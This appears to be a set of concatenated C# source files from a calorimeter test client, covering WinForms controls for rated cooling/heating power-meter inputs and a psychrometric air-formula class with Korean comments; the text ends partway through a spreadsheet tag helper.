private void OnChangedPowerMeter(object sender, RatedPowerMeterArgs args)
{
ChangedPowerMeter?.Invoke(sender, args);
}
public bool ReadOnly
{
set
{
coolingCapacityEdit.ReadOnly = value;
coolingCurrentEdit.ReadOnly = value;
coolingFreqCombo.ReadOnly = value;
coolingVoltEdit.ReadOnly = value;
coolingPowerInEdit.ReadOnly = value;
coolingPowerMeter1Combo.Enabled = !value;
coolingPowerMeter2Combo.Enabled = !value;
coolingPhaseCombo.Enabled = !value;
heatingCapacityEdit.ReadOnly = value;
heatingCurrentEdit.ReadOnly = value;
heatingFreqCombo.ReadOnly = value;
heatingVoltEdit.ReadOnly = value;
heatingPowerInEdit.ReadOnly = value;
heatingPowerMeter1Combo.Enabled = !value;
heatingPowerMeter2Combo.Enabled = !value;
heatingPhaseCombo.Enabled = !value;
}
}
private void Initialize(Dictionary<string, ValueRow> values)
{
string format, devFormat;
powerArgs = new RatedPowerMeterArgs(Index, ETestRatedField.PM_IDU, 0, 0);
coolingFreqCombo.SelectedIndex = 1;
heatingFreqCombo.SelectedIndex = 1;
NameValue<EWT330Wiring>[] coolWiring = EnumHelper.GetNameValues<EWT330Wiring>();
coolingPhaseCombo.DataSource = coolWiring;
coolingPhaseCombo.DisplayMember = "Name";
coolingPhaseCombo.ValueMember = "Value";
coolingPhaseCombo.SelectedValue = EWT330Wiring.P3W4;
NameValue<EWT330Wiring>[] heatWiring = EnumHelper.GetNameValues<EWT330Wiring>();
heatingPhaseCombo.DataSource = heatWiring;
heatingPhaseCombo.DisplayMember = "Name";
heatingPhaseCombo.ValueMember = "Value";
heatingPhaseCombo.SelectedValue = EWT330Wiring.P3W4;
coolingPowerMeter1Combo.Items.Clear();
coolingPowerMeter2Combo.Items.Clear();
heatingPowerMeter1Combo.Items.Clear();
heatingPowerMeter2Combo.Items.Clear();
foreach (PowerMeterRow<float> row in Resource.Client.Devices.PowerMeter.Rows)
{
if (row.Phase == EWT330Phase.P1)
{
coolingPowerMeter1Combo.Items.Add(row.Name);
heatingPowerMeter1Combo.Items.Add(row.Name);
}
else
{
coolingPowerMeter2Combo.Items.Add(row.Name);
heatingPowerMeter2Combo.Items.Add(row.Name);
}
}
coolingPowerMeter1Combo.SelectedIndex = 0;
coolingPowerMeter2Combo.SelectedIndex = 0;
heatingPowerMeter1Combo.SelectedIndex = 0;
heatingPowerMeter2Combo.SelectedIndex = 0;
format = values["Total.Capacity"].Format;
devFormat = ToDevFormat(format);
coolingCapacityEdit.EditValue = 0;
coolingCapacityEdit.Properties.Mask.EditMask = devFormat;
coolingCapacityEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
coolingCapacityEdit.Properties.DisplayFormat.FormatString = devFormat;
coolingCapacityEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
coolingCapacityEdit.Properties.EditFormat.FormatString = devFormat;
heatingCapacityEdit.EditValue = 0;
heatingCapacityEdit.Properties.Mask.EditMask = devFormat;
heatingCapacityEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
heatingCapacityEdit.Properties.DisplayFormat.FormatString = devFormat;
heatingCapacityEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
heatingCapacityEdit.Properties.EditFormat.FormatString = devFormat;
format = values["Total.Power"].Format;
devFormat = ToDevFormat(format);
coolingPowerInEdit.EditValue = 0;
coolingPowerInEdit.Properties.Mask.EditMask = devFormat;
coolingPowerInEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
coolingPowerInEdit.Properties.DisplayFormat.FormatString = devFormat;
coolingPowerInEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
coolingPowerInEdit.Properties.EditFormat.FormatString = devFormat;
heatingPowerInEdit.EditValue = 0;
heatingPowerInEdit.Properties.Mask.EditMask = devFormat;
heatingPowerInEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
heatingPowerInEdit.Properties.DisplayFormat.FormatString = devFormat;
heatingPowerInEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
heatingPowerInEdit.Properties.EditFormat.FormatString = devFormat;
format = values["Total.EER_COP"].Format;
devFormat = ToDevFormat(format);
coolingEepEdit.EditValue = 0;
coolingEepEdit.Properties.Mask.EditMask = devFormat;
coolingEepEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
coolingEepEdit.Properties.DisplayFormat.FormatString = devFormat;
coolingEepEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
coolingEepEdit.Properties.EditFormat.FormatString = devFormat;
coolingEepEdit.Properties.ReadOnly = true;
heatingEepEdit.EditValue = 0;
heatingEepEdit.Properties.Mask.EditMask = devFormat;
heatingEepEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
heatingEepEdit.Properties.DisplayFormat.FormatString = devFormat;
heatingEepEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
heatingEepEdit.Properties.EditFormat.FormatString = devFormat;
heatingEepEdit.Properties.ReadOnly = true;
format = values["ID1.IDU.Voltage"].Format;
devFormat = ToDevFormat(format);
coolingVoltEdit.EditValue = 0;
coolingVoltEdit.Properties.Mask.EditMask = devFormat;
coolingVoltEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
coolingVoltEdit.Properties.DisplayFormat.FormatString = devFormat;
coolingVoltEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
coolingVoltEdit.Properties.EditFormat.FormatString = devFormat;
heatingVoltEdit.EditValue = 0;
heatingVoltEdit.Properties.Mask.EditMask = devFormat;
heatingVoltEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
heatingVoltEdit.Properties.DisplayFormat.FormatString = devFormat;
heatingVoltEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
heatingVoltEdit.Properties.EditFormat.FormatString = devFormat;
format = values["ID1.IDU.Current"].Format;
devFormat = ToDevFormat(format);
coolingCurrentEdit.EditValue = 0;
coolingCurrentEdit.Properties.Mask.EditMask = devFormat;
coolingCurrentEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
coolingCurrentEdit.Properties.DisplayFormat.FormatString = devFormat;
coolingCurrentEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
coolingCurrentEdit.Properties.EditFormat.FormatString = devFormat;
heatingCurrentEdit.EditValue = 0;
heatingCurrentEdit.Properties.Mask.EditMask = devFormat;
heatingCurrentEdit.Properties.DisplayFormat.FormatType = FormatType.Numeric;
heatingCurrentEdit.Properties.DisplayFormat.FormatString = devFormat;
heatingCurrentEdit.Properties.EditFormat.FormatType = FormatType.Numeric;
heatingCurrentEdit.Properties.EditFormat.FormatString = devFormat;
unitCoolingLabels = new List<Label>();
unitCoolingLabels.Add(coolingCapacityUnitLabel);
unitCoolingLabels.Add(coolingPowerUnitLabel);
unitCoolingLabels.Add(coolingEER_COPUnitLabel);
unitCoolingLabels.Add(coolingVoltageUnitLabel);
unitCoolingLabels.Add(coolingCurrentUnitLabel);
unitHeatingLabels = new List<Label>();
unitHeatingLabels.Add(heatingCapacityUnitLabel);
unitHeatingLabels.Add(heatingPowerUnitLabel);
unitHeatingLabels.Add(heatingEER_COPUnitLabel);
unitHeatingLabels.Add(heatingVoltageUnitLabel);
unitHeatingLabels.Add(heatingCurrentUnitLabel);
ReadOnly = false;
}
private string ToDevFormat(string format)
{
string[] strings = format.Split(new[] { '.' }, StringSplitOptions.None);
if ((strings == null) || (strings.Length != 2)) return "f0";
return $"f{strings[1].Length}";
}
public void SetCoolingUnit(ETestRatedField index, string unit)
{
unitCoolingLabels[(int)index].Text = unit;
}
public void SetHeatingUnit(ETestRatedField index, string unit)
{
unitHeatingLabels[(int)index].Text = unit;
}
public void capacityEdit_Leave(object sender, EventArgs e)
{
double coolingCapacity = double.Parse(coolingCapacityEdit.Text);
double coolingPower = double.Parse(coolingPowerInEdit.Text);
double heatingCapacity = double.Parse(heatingCapacityEdit.Text);
double heatingPower = double.Parse(heatingPowerInEdit.Text);
if (coolingPower == 0.0)
coolingEepEdit.EditValue = 0.0;
else
coolingEepEdit.EditValue = coolingCapacity / coolingPower;
if (heatingPower == 0.0)
heatingEepEdit.EditValue = 0.0;
else
heatingEepEdit.EditValue = heatingCapacity / heatingPower;
OnCalcTotalCapacity(this, null);
}
private void coolingPowerMeter1Combo_SelectedIndexChanged(object sender, EventArgs e)
{
ComboBox combo = sender as ComboBox;
int tag = int.Parse(combo.Tag.ToString());
SetIduComboSelectedIndexWithoutEvent(tag, combo.SelectedIndex);
powerArgs.Field = ETestRatedField.PM_IDU;
powerArgs.Tag = tag;
powerArgs.PowerMeterNo = combo.SelectedIndex;
OnChangedPowerMeter(sender, powerArgs);
}
private void coolingPowerMeter2Combo_SelectedIndexChanged(object sender, EventArgs e)
{
ComboBox combo = sender as ComboBox;
int tag = int.Parse(combo.Tag.ToString());
SetOduComboSelectedIndexWithoutEvent(tag, combo.SelectedIndex);
powerArgs.Field = ETestRatedField.PM_ODU;
powerArgs.Tag = tag;
powerArgs.PowerMeterNo = combo.SelectedIndex;
OnChangedPowerMeter(sender, powerArgs);
}
public void SetIduComboSelectedIndexWithoutEvent(int tag, int index)
{
ComboBox combo;
EventHandler eventHandler = coolingPowerMeter1Combo_SelectedIndexChanged;
if (tag == 0)
{
combo = heatingPowerMeter1Combo;
}
else
{
combo = coolingPowerMeter1Combo;
}
combo.SelectedIndexChanged -= eventHandler;
combo.SelectedIndex = index;
combo.SelectedIndexChanged += eventHandler;
}
public void SetOduComboSelectedIndexWithoutEvent(int tag, int index)
{
ComboBox combo;
EventHandler eventHandler = coolingPowerMeter2Combo_SelectedIndexChanged;
if (tag == 0)
{
combo = heatingPowerMeter2Combo;
}
else
{
combo = coolingPowerMeter2Combo;
}
combo.SelectedIndexChanged -= eventHandler;
combo.SelectedIndex = index;
combo.SelectedIndexChanged += eventHandler;
}
}
public class RatedPowerMeterArgs : EventArgs
{
public RatedPowerMeterArgs(EConditionRated index, ETestRatedField field, int tag, int powerMeterNo)
{
Index = index;
Field = field;
Tag = tag;
PowerMeterNo = powerMeterNo;
}
public EConditionRated Index { get; set; }
public ETestRatedField Field { get; set; }
public int Tag { get; set; }
public int PowerMeterNo { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlViewLeft : UlUserControlEng
{
public CtrlViewLeft()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
DefMenu = new UlMenu(viewPanel);
DefMenu.Add(new CtrlViewRight(0), testView1Button);
DefMenu.Add(new CtrlViewRight(1), testView2Button);
DefMenu.Add(new CtrlViewRight(2), testView3Button);
DefMenu.Add(new CtrlViewRight(3), testView4Button);
}
private void CtrlViewTop_Load(object sender, EventArgs e)
{
DefMenu.Index = 0;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Hnc.Calorimeter.Client
{
public static class AirFormula
{
/// <summary>
/// 대기압 Pb (Atmospheric Pressure) [mmHg] - 고정 760 mmHg
/// </summary>
public static double Pb => 760d;
public static double mmHg2Pa => 1.0d;
public static double mmAq2Pa => 1.0d;
public static double AdjPws => 1.0d;
private static readonly double[] c1 =
{
-5.6745359e3d,
6.3925247d,
-9.677843e-3d,
6.2215701e-7d,
2.0747825e-9d,
-9.484024e-13d,
4.1635019d
};
private static readonly double[] c2 =
{
-5.8002206e3d,
1.3914993d,
-4.8640239e-2d,
4.1764768e-5d,
-1.4452093e-8d,
6.5459673d
};
/// <summary>
/// 포화수증기압 Pws [mmHg]
///
/// 건구 온도 기준일 때 Td 입력, 습구 온도 기준일 때 Tw 입력
/// </summary>
/// <param name="temp">건구/습구 온도 [℃]</param>
/// <returns></returns>
public static double GetPws(double temp)
{
// 절대 온도로 변경
temp = temp + 273.15d;
if (temp < 273.15d)
{
return Math.Exp(c1[0] / temp
+ c1[1]
+ c1[2] * temp
+ c1[3] * Math.Pow(temp, 2)
+ c1[4] * Math.Pow(temp, 3)
+ c1[5] * Math.Pow(temp, 4)
+ c1[6] * Math.Log(temp))
* 760d / 101325d;
}
else
{
return Math.Exp(c2[0] / temp
+ c2[1]
+ c2[2] * temp
+ c2[3] * Math.Pow(temp, 2)
+ c2[4] * Math.Pow(temp, 3)
+ c2[5] * Math.Log(temp))
* 760d / 101325d;
}
}
public static double GetVmDry(double ga, double vw, double nvw, double xw)
{
var vm = ga * 60d * vw / nvw;
return vm;
}
public static double GetMaDry(double ga, double vw)
{
var ma = (ga * 60d) / vw;
return ma;
}
///// <summary>
///// 질량 유량 Ma [m3/min]
///// </summary>
///// <param name="ga"></param>
///// <param name="vw"></param>
///// <returns></returns>
//public static double GetMa(double ga, double vw, double td, double tw, double xs)
//{
// var ma = ga / vw;
// var maDry = GetMaDry(ma, td, tw, xs);
// return 0d;
//}
/// <summary>
/// 포화절대습도 Xs [kg/kg']
///
/// Pws가 건구 온도 일 경우 건구온도 기준 포화절대습도
/// Pws가 습구 온도 일 경우 습구온도 기준 포화절대습도
/// </summary>
/// <param name="pb">대기압 [mmHq]</param>
/// <param name="pws">포화수증기압 [mmHq]</param>
/// <returns></returns>
public static double GetXs(double pb, double pws)
{
pb = mmHg2Pa * pb;
return 0.62198d * (AdjPws * pws / (pb - AdjPws * pws));
//return 0.622d * (AdjPws * pws / (pb - AdjPws * pws));
}
/// <summary>
/// 절대습도(습구온도기준) Xw (Humidity Ratio) [kg/kg']
///
/// 난방(Heating) 시험일 대 입구측(Indoor Entering) 절대습도와 출구측 (Indoor Leaving) 절대습도는 같음
/// </summary>
/// <param name="td">건구온도 [℃]</param>
/// <param name="tw">습구온도 [℃]</param>
/// <param name="xs">포화절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetXw(double td, double tw, double xs)
{
return xs - ((0.24d + 0.441d * xs) * (td - tw)) / (597.3d + 0.441d * td - tw);
}
/// <summary>
/// 비체적(건공기 기준) Vd [m3/kg']
/// </summary>
/// <param name="pb">대기압 [mmHg]</param>
/// <param name="td">건구온도 [℃]</param>
/// <param name="xw">절대습도 [kg/kg’]</param>
/// <returns></returns>
public static double GetVd(double pb, double td, double xw)
{
pb = mmHg2Pa * pb;
return 0.4555d * (td + 273.15d) * (0.622d + xw) * 760d / 100d / pb;
}
/// <summary>
/// 비체적(습공기기준) Vw [m3/kg]
/// </summary>
/// <param name="vd">비체적(건공기 기준) [m3/kg']</param>
/// <param name="xw">절대습도[kg/kg']</param>
/// <returns></returns>
public static double GetVw(double vd, double xw)
{
return vd / (1d + xw);
}
/// <summary>
/// 비엔탈피 Ha [kcal/kg']
/// </summary>
/// <param name="td">건구온도 [℃]</param>
/// <param name="xw">절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetHa(double td, double xw)
{
return 0.24d * td + xw * (597.3d + 0.441d * td);
}
/// <summary>
/// 현열 비엔탈피 Hs [kcal/kg']
/// </summary>
/// <param name="td">건구온도 [℃]</param>
/// <param name="xw">절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetHs(double td, double xw)
{
return 0d;
}
/// <summary>
/// 잠열 비엔탈피 HI [kcal/kg']
/// </summary>
/// <param name="xw">절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetHi(double xw)
{
return 0d;
}
/// <summary>
/// 정압비열 Cp [kcal/kg'℃]
/// </summary>
/// <param name="xw">절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetCp(double xw)
{
return 0.24d + 0.441d * xw;
}
//public static double GetPe(double tw)
//{
// return 3.25d * Math.Pow(tw, 2) + 18.6d * tw + 692.0d;
//}
//public static double GetPp(double pe, double pb, double td, double tw)
//{
// return pe - pb * (td - tw) / 1500.0d;
//}
//public static double GetRho0(double pb, double pp, double td)
//{
// return (pb - 0.378d * pp) / (287.1d * (td + 273.15d));
//}
//public static double GetRho5(double rho0, double pc, double pb)
//{
// return rho0 * (pc + pb) / pb;
//}
public static double GetRho5(double td, double tw, double pc, double pb)
{
var pe = 3.25d * Math.Pow(tw, 2) + 18.6d * tw + 692.0d;
var pp = pe - pb * (td - tw) / 1500.0d;
var rho0 = (pb - 0.378d * pp) / (287.1d * (td + 273.15d));
return rho0 * (pc + pb) / pb;
}
/// <summary>
/// 팽창계수 Yex [m3/kg']
/// </summary>
/// <param name="td">건구온도 [℃]</param>
/// <param name="tw">습구온도 [℃]</param>
/// <param name="pn">노즐차압 [mmAq]</param>
/// <param name="pc">챔버차압 [mmAq]</param>
/// <param name="pb">대기압 [mmAq]</param>
/// <returns></returns>
public static double GetYex(double td, double tw, double pn, double pc, double pb)
{
pn = pn * mmAq2Pa;
pc = pc * mmAq2Pa;
pb = pb * mmHg2Pa;
// 노즐 전단 밀도 계산
var rho5 = GetRho5(td, tw, pc, pb);
// 알파비 계산
var alpha = 1.0d - pn / (pb * 13.6d);
//var alpha = 1.0d - pn / (rho5 * 287.1d * (td + 273.15d));
// 베타비 계산
//var beta = 0m; // 정체실 근접 가정
return 0.452d + 0.548d * alpha;
//return Math.Sqrt(1.4d / 0.4d * Math.Pow(alpha, (2.0d / 1.4d))
//* (1.0d - Math.Pow(alpha, (0.4d / 1.4d))) / (1.0d - alpha));
}
/// <summary>
/// 노즐통과풍속 Vx [m/sec]
/// </summary>
/// <param name="d">D1 ~ D6 : 노즐의 직경 [m]</param>
/// <param name="pn">노즐차압 [mmAq]</param>
/// <param name="rho5">노즐 전단 밀도</param>
/// <returns></returns>
public static double[] GetVx(double[] d, double pn, double pb, double rho5, double td, double vw)
{
var kv = 0.000003139d * Math.Pow((273.15d + td), 2.5d) / pb / (383.55d + td);
var vx0 = Math.Pow((2d * pn), 0.5d);
var vx = new double[d.Length];
for (var i = 0; i < vx.Length; i++)
{
double vx1 = 0d;
for (var j = 0; j < 49; j++)
{
// Reynolds 수 계산
var re = vx0 * d[i] / kv;
var c = 0.9986d - 7.006d / Math.Pow(re, 0.5d) + 134.6d / re;
vx1 = c * Math.Pow((2d * 9.80665d * vw * pn), 0.5d);
var dv = Math.Abs(vx1 - vx0) / vx1;
if (dv < 0.001)
{
vx0 = Math.Pow((2d * pn), 0.5d);
break;
}
else
{
vx0 = vx1;
}
}
vx[i] = vx1;
}
return vx;
// 노즐 유량계수 (Discharge coefficient) 계산
// D/L = 0.6
//var vx = new double[d.Length];
//for (var i = 0; i < d.Length; i++)
//vx[i] = 0.9986d - 7.006d / Math.Sqrt(re[i]) + 134.6d / re[i];
//return vx;
}
/// <summary>
/// 포화도 U [%]
///
/// Pws가 건구 온도 기준 - 건구온도 기준 포화절대습도
/// Pws가 습구 온도 기준 - 습구온도 기준 포화절대습도
/// </summary>
/// <param name="xw">계산 포인트의 절대습도 [kg/kg']</param>
/// <param name="xs">건구온도(DB) 기준 포화절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetU(double xw, double xs)
{
return xw / xs;
}
/// <summary>
/// 상대습도 RH (Relative Humidity) [%]
/// </summary>
/// <param name="pb">대기압 [mmHq]</param>
/// <param name="pws">건구온도(DB)기준 포화수증기압 [mmHq]</param>
/// <param name="u"><포화도 [%]/param>
/// <returns></returns>
public static double GetRh(double pb, double pws, double xw, double u, double td)
{
pb = mmHg2Pa * pb;
var fs = 1.0d + 0.004d * pb / 760d + Math.Pow((0.0008d * td - 0.004d), 2.0d); // Pb --> pb 변경 (20161204)
var rh1 = 50d;
var rh2 = 49d;
double rh = 0d;
double rh3 = 0d;
for (var i = 0; i < 49; i++)
{
var pw1 = pws * fs * rh1 * 0.01d;
var pw2 = pws * fs * rh2 * 0.01d;
var ws1 = 0.622d * (pw1 / (pb - pw1));
var ws2 = 0.622d * (pw2 / (pb - pw2));
rh3 = rh1 + (rh2 - rh1) * (xw - ws1) / (ws2 - ws1);
var pw3 = pws * fs * rh3 * 0.01d;
var ws3 = 0.622d * (pw3 / (pb - pw3));
if (Math.Abs((ws3 - ws2) / ws3) < Math.Pow(10d, -8d))
{
break;
}
else
{
rh1 = rh2;
rh2 = rh3;
}
}
return rh = rh3;
//var rh = 100.0d * u / (1.0d - (1.0d - u) * (AdjPws * pws / pb));
//if (rh > 100.0d)
//rh = 100.0d;
//return rh;
}
/// <summary>
/// 체적풍량 Ga [m3/min]
///
/// - NOZ1 ~ NOZ6은 노즐의 개폐 여부로 0과 1
/// - D1 ~ D6은 Coefficients 옵션의 Nozzle Diameter 값, mm -> m 변경 필요
/// - 계산된 결과에 Airfow(풍량 보정계수) 값을 최종 Q에 곱함
/// - Vw(습공기 기준 비체적)은 출구 온도 기준, 단, 비체적 계산에 들어가는 건구 온도는 출구쪽 건구 온도가 아닌 Nozzle Inlet Temp.의 건구 온도 사용
/// </summary>
/// <param name="noz">노즐 Open 여부(0 or 1)</param>
/// <param name="vx">노즐통과풍속 [m/sec]</param>
/// <param name="d">노즐의 직경 [m]</param>
/// <param name="yex">팽창계수 [m3/kg']</param>
/// <param name="pn">노즐차압 [mmAq]</param>
/// <param name="vw">비체적(습공기기준) [m3/kg]</param>
/// <returns></returns>
public static double GetGa(double[] noz, double[] vx, double[] d, double yex, double pn, double vw)
{
pn = pn * mmAq2Pa;
// 노즐 단면적 계산
var a = new double[d.Length];
for (var i = 0; i < d.Length; i++)
a[i] = Math.PI * Math.Pow(d[i], 2d);
// 풍량 계산
double q = 0d;
for (var i = 0; i < d.Length; i++)
{
if (noz[i] == 0d)
continue;
q += ((noz[i] * vx[i] * a[i] * yex) / 4d);
}
return q;
}
/// <summary>
/// 열손실 계수 QLoss [kcal/h]
/// </summary>
///
/// - 난방 시험일 경우△t는 (출구 건구 온도 - 입구 건구) 온도 임
/// - 연손실 계순 x는 Coefficients 옵션의 'Colling H.L.K'와 'Heating H.L.K' 값
/// ※ 보조 덕트 사용 개수에 따라 연손실 계수(QLoss)가 추가 될 수 도 있음 (합산 적용)
/// <param name="x">열손실계수 [kcal/hm2℃]</param>
/// <param name="deltaT">△t : 입구건구온도 - 출구건구온도 [℃]</param>
/// <returns></returns>
public static double GetQLoss(double x, double deltaT)
{
return x * deltaT;
}
/// <summary>
/// 냉방 전열량 Qac (Capacity) [kacl/h]
///
/// - Qac에 Colling Capacity(냉방능력 보정계수)를 곱해야 함
/// </summary>
/// <param name="ga">체적 풍량 [m3/min]</param>
/// <param name="vw">출구측 비체적 (습공기기준) [m3/kg]</param>
/// <param name="xw">입구측 절대습도 [kg/kg']</param>
/// <param name="haI">입구측 비엔탈피 [kcal/kg']</param>
/// <param name="haO">출구측 비엔탈피 [kcal/kg']</param>
/// <param name="qLoss">열손실 [kcal/h]</param>
/// <returns></returns>
public static double GetQacCold(double maDry, double vw, double xw, double haI, double haO, double qLoss)
{
// 열교환량 계산
return maDry * (haI - haO) * 60d + qLoss;
}
/// <summary>
/// 난방 전열량 Qac (Capacity) [kcal/h]
///
/// - Qac에 Heating Capacity(난방능력 보정계수)를 곱해야 함
/// - 난방(Heating) 시험일 때 입구측(Indoor Entering) 절대습도와 출구측(Indoor Leaving) 절대습도가 같음
/// Vw(습공기 기준 비체적)은 출구 온도 기준, 단, 비체적 계산에 들어가는 건구 온도는 출구측 건구 온도가 아닌 Nozzle Inlet Temp.의 건구 온도 사용
/// </summary>
/// <param name="ga">체적 풍량 [m3/min]</param>
/// <param name="vw">출구측 비체적 (습공기기준) [m3/kg]</param>
/// <param name="xw">입구측 절대습도 [kg/kg']</param>
/// <param name="tdI">입구측 건구온도 [℃]</param>
/// <param name="tdO">출구측 건구온도 [℃]</param>
/// <param name="qLoss">연손실</param>
/// <returns></returns>
public static double GetQacHeat(double maDry, double vw, double xw, double tdI, double tdO, double qLoss)
{
// 열교환량 계산
return maDry * (tdO - tdI) * (0.24d + 0.441d * xw) * 60d + qLoss;
}
/// <summary>
/// 냉방 현열량 Qs (Sensible Heat) [kcal/h]
/// </summary>
/// <param name="maDry">질량 풍량 [kg/min]</param>
/// <param name="hsI">입구측 현열 비엔탈피 [kcal/kg']</param>
/// <param name="hsO">출구측 현열 비엔탈피 [kcal/kg']</param>
/// <param name="qLoss">열손실 [kcal/h]</param>
/// <returns></returns>
public static double GetQsCold(double maDry, double hsI, double hsO, double qLoss)
{
return maDry * (hsI - hsO) * 1000d + qLoss;
}
/// <summary>
/// 난방 현열량 Qs (Sensible Heat) [kcal/h]
/// </summary>
/// <param name="maDry">질량 풍량 [kg/min]</param>
/// <param name="xw">입구측 절대습도 [kg/kg']</param>
/// <param name="tdI">입구측 건구온도 [℃]</param>
/// <param name="tdO">출구측 건구온도 [℃]</param>
/// <param name="qLoss">열손시 [kcal/h]</param>
/// <returns></returns>
public static double GetQsHeat(double maDry, double xw, double tdI, double tdO, double qLoss)
{
return maDry * (tdI - tdO) * (1.006d + 1.86d * xw) * 1000d * qLoss;
}
/// <summary>
/// 잠열량 Qcc (Latent Heat) [kcal/h]
/// </summary>
/// <param name="qac">전열량 [kcal/h]</param>
/// <param name="qs">현열량 [kcal/h]</param>
/// <returns></returns>
public static double GetQcc(double qac, double qs)
{
return 588.0d * qs;
}
/// <summary>
/// 응축수량 Gcw (Drain Weight) [g/h]
/// </summary>
/// <param name="maDry"질량 풍량 [kg/min]></param>
/// <param name="xwI">입구측 절대습도 [kg/kg']</param>
/// <param name="xwO">출구측 절대습도 [kg/kg']</param>
/// <returns></returns>
public static double GetGcw(double maDry, double xwI, double xwO)
{
return maDry * (xwI - xwO) * 60d;
}
/// <summary>
/// 현열비 SHR (Sensible Heat Ratio)
/// </summary>
/// <param name="qac">전열량 [kcal/h]</param>
/// <param name="qs">현열량 [kcal/h]</param>
/// <returns></returns>
public static double GetShr(double qac, double qs)
{
return qs / qac * 100d;
}
/// <summary>
/// Fan Power (W)
/// </summary>
/// <param name="airflowLev">Air Flow [Lev] (㎥/min)</param>
/// <param name="staticPressure">Static Pressure (mmAq)</param>
/// <returns></returns>
public static double GetFanPower(double airflowLev, double staticPressure)
{
return (airflowLev / 60d * 1000d) * 10e-3d * (staticPressure * 9.80661358d) / 0.3d;
}
/// <summary>
/// 노점온도 DP (Dew Point) [℃]
/// </summary>
/// <param name="pb">대기압 [mmHq]</param>
/// <param name="ws"></param>
/// <returns></returns>
public static double GetDp(double pb, double td, double ws)
{
var dp1 = td;
var dp2 = td - 1d;
double dp = 0d;
double dp3 = 0d;
for (var i = 0; i < 49; i++)
{
var pw1 = GetPws(dp1);
var pw2 = GetPws(dp2);
var ws1 = 0.622d * (pw1 / (pb - pw1));
var ws2 = 0.622d * (pw2 / (pb - pw2));
if (Math.Abs(ws2 - ws1) < Math.Pow(10d, -8d))
{
dp3 = dp1;
break;
}
dp3 = dp1 + (dp2 - dp1) * (ws - ws1) / (ws2 - ws1);
var pw3 = GetPws(dp3);
var ws3 = 0.622d * (pw3 / (pb - pw3));
var xw3 = GetXwn(ws3, td, dp3);
if (Math.Abs((xw3 - ws2) / xw3) < Math.Pow(10d, -8d))
{
break;
}
else
{
dp1 = dp2;
dp2 = dp3;
}
}
return dp = dp3;
}
/// <summary>
/// 습구온도 WB (Wet Bulb) [℃]
/// </summary>
/// <param name="pb">대기압 [mmHq]</param>
/// <param name="pws">건구온도(DB)기준 포화수증기압 [mmHq]</param>
/// <param name="RH">상대습도 [%]</param>
/// <returns></returns>
public static double GetWb(double pb, double pws, double td, double rh)
{
//pb = Pb;
var fs = 1.0d + 0.004d * pb / 760d + Math.Pow((0.0008d * td - 0.004d), 2.0d);
var pw = pws * fs * rh * 0.01d;
var ws = 0.622d * (pw / (pb - pw));
return WetBulb(pb, td, ws);
}
private static double WetBulb(double pb, double td, double ws)
{
var wb1 = td;
var wb2 = td - 1d;
double wb = 0d;
double wb3 = 0d;
for (var i = 0; i < 49; i++)
{
var pw1 = GetPws(wb1);
var pw2 = GetPws(wb2);
var ws1 = 0.622d * (pw1 / (pb - pw1));
var ws2 = 0.622d * (pw2 / (pb - pw2));
var xw1 = GetXwn(ws1, td, wb1);
var xw2 = GetXwn(ws2, td, wb2);
//var xw1 = GetXw(td, wb1, ws1);
//var xw2 = GetXw(td, wb2, ws2);
wb3 = wb1 + (wb2 - wb1) * (ws - xw1) / (xw2 - xw1);
var pw3 = GetPws(wb3);
var ws3 = 0.622d * (pw3 / (pb - pw3));
var xw3 = GetXwn(ws3, td, wb3);
//var xw3 = GetXw(td, wb3, ws3);
if (Math.Abs((xw3 - xw2) / xw3) < Math.Pow(10d, -8d))
{
break;
}
else
{
wb1 = wb2;
wb2 = wb3;
}
}
return wb = wb3;
}
public static double GetXwn(double ws, double td, double wb)
{
var n1 = (0.24d + 0.441d * ws) * (td - wb);
var n2 = (597.3d + 0.441d * td);
var n3 = wb < 0.0 ? (0.5d * wb - 79.7d) : wb;
return ws - n1 / (n2 - n3);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using DevExpress.Spreadsheet;
namespace Hnc.Calorimeter.Client
{
public class WorksheetTagCollection
{
public WorksheetTagCollection(IWorkbook workbook)
{
this.workbook = workbook;
Sheets = new Dictionary<string, Dictionary<string, Cell>>();
Initialize();
}
private string csHeadTag = "{";
private string csTailTag = "}";
private string csEndTag = "{end}";
private IWorkbook workbook;
public Dictionary<string, Dictionary<string, Cell>> Sheets { get; private set; }
public void SetWorkSheetVisible(string key, bool visible)
{
workbook.Worksheets[key].Visible = visible;
}
public void Clear()
{
workbook.BeginUpdate();
try
{
foreach (KeyValuePair<string, Dictionary<string, Cell>> sheet in Sheets)
{
foreach (KeyValuePair<string, Cell> tag in sheet.Value)
{
tag.Value.Value = "";
}
}
}
finally
{
workbook.EndUpdate();
}
}
private void Initialize()
{
int rowLength, columnLength;
workbook.BeginUpdate();
try
{
foreach (Worksheet sheet in workbook.Worksheets)
{
